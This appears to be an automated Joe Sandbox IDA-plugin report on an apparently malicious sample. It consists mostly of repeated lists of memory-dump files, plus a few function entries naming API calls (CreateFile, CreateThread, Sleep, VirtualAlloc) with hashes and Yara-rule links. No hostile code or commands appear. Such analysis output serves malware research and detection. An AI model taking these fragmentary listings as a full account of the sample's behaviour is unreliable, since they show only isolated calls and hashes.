Associated: 00000002.00000002.1981342988.0000000000BCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981361574.0000000000BCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BD7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981421247.0000000000BE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981440640.0000000000BE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981459341.0000000000BEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981476639.0000000000BEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981494450.0000000000BEF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981512219.0000000000BF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981534187.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981551632.0000000000C08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981569946.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981588647.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981607495.0000000000C27000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981627093.0000000000C2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981647839.0000000000C3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981665153.0000000000C3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981682049.0000000000C3E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981699234.0000000000C43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981718234.0000000000C50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981736966.0000000000C54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981754567.0000000000C5C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981772156.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981790641.0000000000C6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981809140.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981825884.0000000000C70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981842907.0000000000C71000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981859776.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981877868.0000000000C7B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981898227.0000000000C8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981914783.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981931113.0000000000C8F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981947651.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981975509.0000000000CD1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981992110.0000000000CD4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982043103.0000000000CEC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982060934.0000000000CEE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a50000_FT773VWATWFL9SRK5RTU4.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 2c0711e6489958a4a703485ad4e5c05e1aeaee28f96e9cf1e4f5e92ff1b32d76
Instruction ID: 646dd6739bca67b8cf1a3b746b84f2259db0874e1afb2f6be930cbb00145f317
Opcode Fuzzy Hash: 2c0711e6489958a4a703485ad4e5c05e1aeaee28f96e9cf1e4f5e92ff1b32d76
Instruction Fuzzy Hash: ACF0A9FA58C2195FE701CF0499409AFB7D9E785734B30457BE405C6782E2A14E159739

Function 00BD3592 Relevance: 1.5, APIs: 1, Instructions: 35fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 00BD35CB

Memory Dump Source

Source File: 00000002.00000002.1981381301.0000000000BCF000.00000040.00000001.01000000.00000006.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000002.00000002.1981128163.0000000000A50000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981148495.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981166764.0000000000A56000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981184648.0000000000A5A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981207223.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981303719.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981321567.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981342988.0000000000BCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981361574.0000000000BCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BD7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981421247.0000000000BE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981440640.0000000000BE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981459341.0000000000BEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981476639.0000000000BEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981494450.0000000000BEF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981512219.0000000000BF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981534187.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981551632.0000000000C08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981569946.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981588647.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981607495.0000000000C27000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981627093.0000000000C2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981647839.0000000000C3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981665153.0000000000C3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981682049.0000000000C3E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981699234.0000000000C43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981718234.0000000000C50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981736966.0000000000C54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981754567.0000000000C5C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981772156.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981790641.0000000000C6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981809140.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981825884.0000000000C70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981842907.0000000000C71000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981859776.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981877868.0000000000C7B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981898227.0000000000C8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981914783.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981931113.0000000000C8F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981947651.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981975509.0000000000CD1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981992110.0000000000CD4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982043103.0000000000CEC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982060934.0000000000CEE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a50000_FT773VWATWFL9SRK5RTU4.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8671b8ff7ba59d99fa4a76b5d20101b20153ec1c09b25cf5f4e9fc8646bb0803
Instruction ID: e8ef227251ad9c86b968a4424779c9e5c7c5647052dcbafe84dc49849202394e
Opcode Fuzzy Hash: 8671b8ff7ba59d99fa4a76b5d20101b20153ec1c09b25cf5f4e9fc8646bb0803
Instruction Fuzzy Hash: 85F0A7FA54C2156ED701CE549901AAFFBEDEB86B34B30417BF405C2683F2A14D055735

Function 00C10CB8 Relevance: 1.5, APIs: 1, Instructions: 20threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00C10CC3

Memory Dump Source

Source File: 00000002.00000002.1981569946.0000000000C10000.00000080.00000001.01000000.00000006.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000002.00000002.1981128163.0000000000A50000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981148495.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981166764.0000000000A56000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981184648.0000000000A5A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981207223.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981303719.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981321567.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981342988.0000000000BCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981361574.0000000000BCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BCF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BD7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981421247.0000000000BE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981440640.0000000000BE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981459341.0000000000BEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981476639.0000000000BEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981494450.0000000000BEF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981512219.0000000000BF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981534187.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981551632.0000000000C08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981588647.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981607495.0000000000C27000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981627093.0000000000C2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981647839.0000000000C3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981665153.0000000000C3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981682049.0000000000C3E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981699234.0000000000C43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981718234.0000000000C50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981736966.0000000000C54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981754567.0000000000C5C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981772156.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981790641.0000000000C6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981809140.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981825884.0000000000C70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981842907.0000000000C71000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981859776.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981877868.0000000000C7B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981898227.0000000000C8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981914783.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981931113.0000000000C8F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981947651.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981975509.0000000000CD1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981992110.0000000000CD4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982043103.0000000000CEC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982060934.0000000000CEE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a50000_FT773VWATWFL9SRK5RTU4.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 6fea1109c54708e15fce6cb32a4bd7761fb4fee7988937508a8c1e798916fe75
Instruction ID: a0b24cf27e5dfc8b5cbeff323382ec4a431b0befba33a0d0018810318abce92b
Opcode Fuzzy Hash: 6fea1109c54708e15fce6cb32a4bd7761fb4fee7988937508a8c1e798916fe75
Instruction Fuzzy Hash: B5E092B090912A9FCF00FFB0C4552DD3761EF22301F150816D95543446DA796CA5EF29

Function 00C11AD6 Relevance: 1.5, APIs: 1, Instructions: 9threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000), ref: 00C11AE7

Memory Dump Source

Source File: 00000002.00000002.1981569946.0000000000C10000.00000080.00000001.01000000.00000006.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000002.00000002.1981128163.0000000000A50000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981148495.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981166764.0000000000A56000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981184648.0000000000A5A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981207223.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981303719.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981321567.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981342988.0000000000BCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981361574.0000000000BCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BCF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BD7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981421247.0000000000BE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981440640.0000000000BE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981459341.0000000000BEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981476639.0000000000BEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981494450.0000000000BEF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981512219.0000000000BF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981534187.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981551632.0000000000C08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981588647.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981607495.0000000000C27000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981627093.0000000000C2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981647839.0000000000C3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981665153.0000000000C3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981682049.0000000000C3E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981699234.0000000000C43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981718234.0000000000C50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981736966.0000000000C54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981754567.0000000000C5C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981772156.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981790641.0000000000C6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981809140.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981825884.0000000000C70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981842907.0000000000C71000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981859776.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981877868.0000000000C7B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981898227.0000000000C8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981914783.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981931113.0000000000C8F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981947651.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981975509.0000000000CD1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981992110.0000000000CD4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982043103.0000000000CEC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982060934.0000000000CEE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a50000_FT773VWATWFL9SRK5RTU4.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: f6894f8479a4d1fe4ea908a23d3ddfd285d09c69451a12cf3c901b59480789de
Instruction ID: 8473dacc6edf2d5b55cc78e3de13ca19d4ec8e4464e556e8049453bef8f96867
Opcode Fuzzy Hash: f6894f8479a4d1fe4ea908a23d3ddfd285d09c69451a12cf3c901b59480789de
Instruction Fuzzy Hash: 19C02B72A9B32B36DA003F700C0E74F7C054F06342F448090BF019A5C2C4901500A721

Function 00BF06A6 Relevance: 1.4, APIs: 1, Instructions: 156sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 00BF06A6

Memory Dump Source

Source File: 00000002.00000002.1981494450.0000000000BEF000.00000080.00000001.01000000.00000006.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000002.00000002.1981128163.0000000000A50000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981148495.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981166764.0000000000A56000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981184648.0000000000A5A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981207223.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981303719.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981321567.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981342988.0000000000BCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981361574.0000000000BCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BCF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BD7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981421247.0000000000BE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981440640.0000000000BE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981459341.0000000000BEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981476639.0000000000BEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981512219.0000000000BF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981534187.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981551632.0000000000C08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981569946.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981588647.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981607495.0000000000C27000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981627093.0000000000C2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981647839.0000000000C3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981665153.0000000000C3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981682049.0000000000C3E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981699234.0000000000C43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981718234.0000000000C50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981736966.0000000000C54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981754567.0000000000C5C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981772156.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981790641.0000000000C6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981809140.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981825884.0000000000C70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981842907.0000000000C71000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981859776.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981877868.0000000000C7B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981898227.0000000000C8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981914783.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981931113.0000000000C8F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981947651.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981975509.0000000000CD1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981992110.0000000000CD4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982043103.0000000000CEC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982060934.0000000000CEE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a50000_FT773VWATWFL9SRK5RTU4.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 6da01116ba269fa6e7b0c85fcae491981bb26365a93e451620843cbfb53e90db
Instruction ID: 9b76c7295ead6b9cc9e77b0d28ed583de80a050b71a58029c772d25069064170
Opcode Fuzzy Hash: 6da01116ba269fa6e7b0c85fcae491981bb26365a93e451620843cbfb53e90db
Instruction Fuzzy Hash: 974194F351C214AFF701BE49ED806BAFBE9EB84320F26492DE6C0C3601E671594486A6

Function 00A5EB68 Relevance: 1.3, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00A5EB6D

Memory Dump Source

Source File: 00000002.00000002.1981184648.0000000000A5A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000002.00000002.1981128163.0000000000A50000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981148495.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981166764.0000000000A56000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981207223.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981303719.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981321567.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981342988.0000000000BCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981361574.0000000000BCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BCF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BD7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981421247.0000000000BE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981440640.0000000000BE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981459341.0000000000BEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981476639.0000000000BEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981494450.0000000000BEF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981512219.0000000000BF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981534187.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981551632.0000000000C08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981569946.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981588647.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981607495.0000000000C27000.00000080.00000001.01000000.00000006.sdmpDownload File
